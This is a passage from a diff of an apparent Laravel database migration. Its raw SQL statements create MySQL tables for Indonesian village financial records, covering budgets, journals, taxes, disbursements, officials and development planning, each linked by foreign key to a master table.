+ CONSTRAINT `id_keuangan_ref_rek2_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_rek3` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kelompok` varchar(100) NOT NULL,
+ `Jenis` varchar(100) NOT NULL,
+ `Nama_Jenis` varchar(100) NOT NULL,
+ `Formula` int(11) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_rek3_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_rek3_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_rek4` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Jenis` varchar(100) NOT NULL,
+ `Obyek` varchar(100) NOT NULL,
+ `Nama_Obyek` varchar(100) NOT NULL,
+ `Peraturan` varchar(250) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_rek4_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_rek4_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_sbu` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kode_SBU` varchar(100) NOT NULL,
+ `NoUrut_SBU` varchar(100) NOT NULL,
+ `Nama_SBU` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `Satuan` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_sbu_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_sbu_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ref_sumber` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kode` varchar(100) NOT NULL,
+ `Nama_Sumber` varchar(100) NOT NULL,
+ `Urut` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ref_sumber_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ref_sumber_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_anggaran` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `KdPosting` varchar(100) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `KURincianSD` varchar(100) NOT NULL,
+ `KD_Rincian` varchar(100) NOT NULL,
+ `RincianSD` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `AnggaranPAK` varchar(100) NOT NULL,
+ `AnggaranStlhPAK` varchar(100) NOT NULL,
+ `Belanja` varchar(100) NOT NULL,
+ `Kd_keg` varchar(100) NOT NULL,
+ `SumberDana` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `TglPosting` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_anggaran_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_anggaran_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_anggaran_log` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `KdPosting` varchar(100) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_Perdes` varchar(100) NOT NULL,
+ `TglPosting` varchar(100) NOT NULL,
+ `UserID` varchar(50) NOT NULL,
+ `Kunci` varchar(100) NOT NULL,
+ `No_Perkades` varchar(100) DEFAULT NULL,
+ `Petugas` varchar(80) DEFAULT NULL,
+ `Tanggal` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_anggaran_log_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_anggaran_log_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_anggaran_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `KdPosting` varchar(100) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(100) NOT NULL,
+ `No_Urut` varchar(100) NOT NULL,
+ `Uraian` varchar(100) NOT NULL,
+ `SumberDana` varchar(100) NOT NULL,
+ `JmlSatuan` varchar(100) NOT NULL,
+ `HrgSatuan` varchar(100) NOT NULL,
+ `Satuan` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `JmlSatuanPAK` varchar(100) NOT NULL,
+ `HrgSatuanPAK` varchar(100) NOT NULL,
+ `AnggaranStlhPAK` varchar(100) NOT NULL,
+ `AnggaranPAK` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_anggaran_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_anggaran_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_bidang` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Bid` varchar(100) NOT NULL,
+ `Nama_Bidang` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_bidang_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_bidang_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_desa` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Nm_Kades` varchar(100) NOT NULL,
+ `Jbt_Kades` varchar(100) NOT NULL,
+ `Nm_Sekdes` varchar(100) NOT NULL,
+ `NIP_Sekdes` varchar(100) NOT NULL,
+ `Jbt_Sekdes` varchar(100) NOT NULL,
+ `Nm_Kaur_Keu` varchar(100) NOT NULL,
+ `Jbt_Kaur_Keu` varchar(100) NOT NULL,
+ `Nm_Bendahara` varchar(100) NOT NULL,
+ `Jbt_Bendahara` varchar(100) NOT NULL,
+ `No_Perdes` varchar(100) NOT NULL,
+ `Tgl_Perdes` varchar(100) NOT NULL,
+ `No_Perdes_PB` varchar(100) NOT NULL,
+ `Tgl_Perdes_PB` varchar(100) NOT NULL,
+ `No_Perdes_PJ` varchar(100) NOT NULL,
+ `Tgl_Perdes_PJ` varchar(100) NOT NULL,
+ `Alamat` varchar(250) NOT NULL,
+ `Ibukota` varchar(100) NOT NULL,
+ `Status` varchar(100) NOT NULL,
+ `NPWP` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_desa_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_desa_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_jurnal_umum` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `KdBuku` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Tanggal` varchar(100) NOT NULL,
+ `JnsBukti` varchar(100) NOT NULL,
+ `NoBukti` varchar(100) NOT NULL,
+ `Keterangan` varchar(100) NOT NULL,
+ `DK` varchar(100) NOT NULL,
+ `Debet` varchar(100) NOT NULL,
+ `Kredit` varchar(100) NOT NULL,
+ `Jenis` varchar(100) NOT NULL,
+ `Posted` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_jurnal_umum_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_jurnal_umum_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_jurnal_umum_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `NoBukti` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `RincianSD` varchar(100) NOT NULL,
+ `NoID` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Akun` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `DK` varchar(100) NOT NULL,
+ `Debet` varchar(100) NOT NULL,
+ `Kredit` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_jurnal_umum_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_jurnal_umum_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_kegiatan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Bid` varchar(100) DEFAULT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `ID_Keg` varchar(100) NOT NULL,
+ `Nama_Kegiatan` varchar(100) NOT NULL,
+ `Pagu` varchar(100) NOT NULL,
+ `Pagu_PAK` varchar(100) NOT NULL,
+ `Nm_PPTKD` varchar(100) NOT NULL,
+ `NIP_PPTKD` varchar(100) NOT NULL,
+ `Lokasi` varchar(100) NOT NULL,
+ `Waktu` varchar(100) NOT NULL,
+ `Keluaran` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `Jbt_PPTKD` varchar(100) DEFAULT NULL,
+ `Kd_Sub` varchar(30) DEFAULT NULL,
+ `Nilai` varchar(100) DEFAULT NULL,
+ `NilaiPAK` varchar(100) DEFAULT NULL,
+ `Satuan` varchar(30) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_kegiatan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_kegiatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_mutasi` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Tgl_Bukti` varchar(100) NOT NULL,
+ `Keterangan` varchar(200) DEFAULT NULL,
+ `Kd_Bank` varchar(100) DEFAULT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `Kd_Mutasi` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ `ID_Bank` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_mutasi_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_mutasi_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_pajak` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SSP` varchar(100) NOT NULL,
+ `Tgl_SSP` varchar(100) NOT NULL,
+ `Keterangan` varchar(250) DEFAULT NULL,
+ `Nama_WP` varchar(100) NOT NULL,
+ `Alamat_WP` varchar(100) NOT NULL,
+ `NPWP` varchar(100) NOT NULL,
+ `Kd_MAP` varchar(100) NOT NULL,
+ `Nm_Penyetor` varchar(100) NOT NULL,
+ `Jn_Transaksi` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Jumlah` varchar(100) NOT NULL,
+ `KdBayar` varchar(100) NOT NULL,
+ `ID_Bank` varchar(10) DEFAULT NULL,
+ `NTPN` varchar(30) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_pajak_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_pajak_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_pajak_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_SSP` varchar(100) NOT NULL,
+ `No_Bukti` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Nilai` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_pajak_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_pajak_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_pemda` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Prov` varchar(100) NOT NULL,
+ `Kd_Kab` varchar(100) NOT NULL,
+ `Nama_Pemda` varchar(100) NOT NULL,
+ `Nama_Provinsi` varchar(100) NOT NULL,
+ `Ibukota` varchar(100) NOT NULL,
+ `Alamat` varchar(100) NOT NULL,
+ `Nm_Bupati` varchar(100) NOT NULL,
+ `Jbt_Bupati` varchar(100) NOT NULL,
+ `Logo` mediumblob DEFAULT NULL,
+ `C_Kode` varchar(100) NOT NULL,
+ `C_Pemda` varchar(100) NOT NULL,
+ `C_Data` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_pemda_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_pemda_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_pencairan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `No_Cek` varchar(100) NOT NULL,
+ `No_SPP` varchar(100) NOT NULL,
+ `Tgl_Cek` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Keterangan` varchar(250) DEFAULT NULL,
+ `Jumlah` varchar(100) NOT NULL,
+ `Potongan` varchar(100) NOT NULL,
+ `KdBayar` varchar(100) NOT NULL,
+ `ID_Bank` varchar(10) DEFAULT NULL,
+ `Kunci` varchar(10) DEFAULT NULL,
+ `No_Ref` varchar(100) DEFAULT NULL,
+ `Tgl_Bayar` varchar(100) DEFAULT NULL,
+ `Validasi` varchar(100) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_pencairan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_pencairan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_perangkat` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Jabatan` varchar(100) NOT NULL,
+ `No_ID` varchar(100) NOT NULL,
+ `Nama_Perangkat` varchar(100) NOT NULL,
+ `Alamat_Perangkat` varchar(100) NOT NULL,
+ `Nomor_HP` varchar(100) NOT NULL,
+ `Rek_Bank` varchar(100) NOT NULL,
+ `Nama_Bank` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_perangkat_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_perangkat_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rab` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `AnggaranPAK` varchar(100) NOT NULL,
+ `AnggaranStlhPAK` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(10) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rab_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rab_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rab_rinci` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(100) NOT NULL,
+ `No_Urut` varchar(100) NOT NULL,
+ `SumberDana` varchar(100) NOT NULL,
+ `Uraian` varchar(100) NOT NULL,
+ `Satuan` varchar(100) NOT NULL,
+ `JmlSatuan` varchar(100) NOT NULL,
+ `HrgSatuan` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `JmlSatuanPAK` varchar(100) NOT NULL,
+ `HrgSatuanPAK` varchar(100) NOT NULL,
+ `AnggaranStlhPAK` varchar(100) NOT NULL,
+ `AnggaranPAK` varchar(100) NOT NULL,
+ `Kode_SBU` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rab_rinci_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rab_rinci_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rab_sub` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Tahun` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Rincian` varchar(100) NOT NULL,
+ `Kd_SubRinci` varchar(100) NOT NULL,
+ `Nama_SubRinci` varchar(100) NOT NULL,
+ `Anggaran` varchar(100) NOT NULL,
+ `AnggaranPAK` varchar(100) NOT NULL,
+ `AnggaranStlhPAK` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rab_sub_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rab_sub_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_bidang` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Bid` varchar(100) NOT NULL,
+ `Nama_Bidang` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_bidang_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_bidang_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_kegiatan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Bid` varchar(100) DEFAULT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `ID_Keg` varchar(100) NOT NULL,
+ `Nama_Kegiatan` varchar(100) NOT NULL,
+ `Lokasi` varchar(100) NOT NULL,
+ `Keluaran` varchar(100) NOT NULL,
+ `Kd_Sas` varchar(100) NOT NULL,
+ `Sasaran` varchar(100) NOT NULL,
+ `Tahun1` varchar(100) NOT NULL,
+ `Tahun2` varchar(100) NOT NULL,
+ `Tahun3` varchar(100) NOT NULL,
+ `Tahun4` varchar(100) NOT NULL,
+ `Tahun5` varchar(100) NOT NULL,
+ `Tahun6` varchar(100) NOT NULL,
+ `Swakelola` varchar(100) NOT NULL,
+ `Kerjasama` varchar(100) NOT NULL,
+ `Pihak_Ketiga` varchar(100) NOT NULL,
+ `Sumberdana` varchar(100) NOT NULL,
+ `Kd_Sub` varchar(30) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_kegiatan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_kegiatan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_misi` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `ID_Misi` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `ID_Visi` varchar(100) NOT NULL,
+ `No_Misi` varchar(100) NOT NULL,
+ `Uraian_Misi` varchar(250) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_misi_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_misi_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_pagu_indikatif` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Sumber` varchar(100) NOT NULL,
+ `Tahun1` varchar(100) NOT NULL,
+ `Tahun2` varchar(100) NOT NULL,
+ `Tahun3` varchar(100) NOT NULL,
+ `Tahun4` varchar(100) NOT NULL,
+ `Tahun5` varchar(100) NOT NULL,
+ `Tahun6` varchar(100) NOT NULL,
+ `Pola` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_pagu_indikatif_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_pagu_indikatif_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_pagu_tahunan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `Kd_Keg` varchar(100) NOT NULL,
+ `Kd_Tahun` varchar(100) NOT NULL,
+ `Kd_Sumber` varchar(100) NOT NULL,
+ `Biaya` varchar(100) NOT NULL,
+ `Volume` varchar(100) NOT NULL,
+ `Satuan` varchar(100) NOT NULL,
+ `Lokasi_Spesifik` varchar(100) NOT NULL,
+ `Jml_Sas_Pria` varchar(100) NOT NULL,
+ `Jml_Sas_Wanita` varchar(100) NOT NULL,
+ `Jml_Sas_ARTM` varchar(100) NOT NULL,
+ `Waktu` varchar(100) NOT NULL,
+ `Mulai` varchar(100) NOT NULL,
+ `Selesai` varchar(100) NOT NULL,
+ `Pola_Kegiatan` varchar(100) NOT NULL,
+ `Pelaksana` varchar(100) NOT NULL,
+ `No_ID` varchar(20) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_pagu_tahunan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_pagu_tahunan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_sasaran` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `ID_Sasaran` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `ID_Tujuan` varchar(100) NOT NULL,
+ `No_Sasaran` varchar(100) NOT NULL,
+ `Uraian_Sasaran` varchar(250) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_sasaran_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_sasaran_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_tujuan` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `ID_Tujuan` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `ID_Misi` varchar(100) NOT NULL,
+ `No_Tujuan` varchar(100) NOT NULL,
+ `Uraian_Tujuan` varchar(250) DEFAULT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_tujuan_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_tujuan_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_rpjm_visi` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `id_keuangan_master` int(11) NOT NULL,
+ `ID_Visi` varchar(100) NOT NULL,
+ `Kd_Desa` varchar(100) NOT NULL,
+ `No_Visi` varchar(100) NOT NULL,
+ `Uraian_Visi` varchar(250) DEFAULT NULL,
+ `TahunA` varchar(100) NOT NULL,
+ `TahunN` varchar(100) NOT NULL,
+ PRIMARY KEY (`id`),
+ KEY `id_keuangan_ta_rpjm_visi_master_fk` (`id_keuangan_master`),
+ CONSTRAINT `id_keuangan_ta_rpjm_visi_master_fk` FOREIGN KEY (`id_keuangan_master`) REFERENCES `keuangan_master` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+ );
+ ');
+
+ DB::statement('
+ CREATE TABLE `keuangan_ta_saldo_awal` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
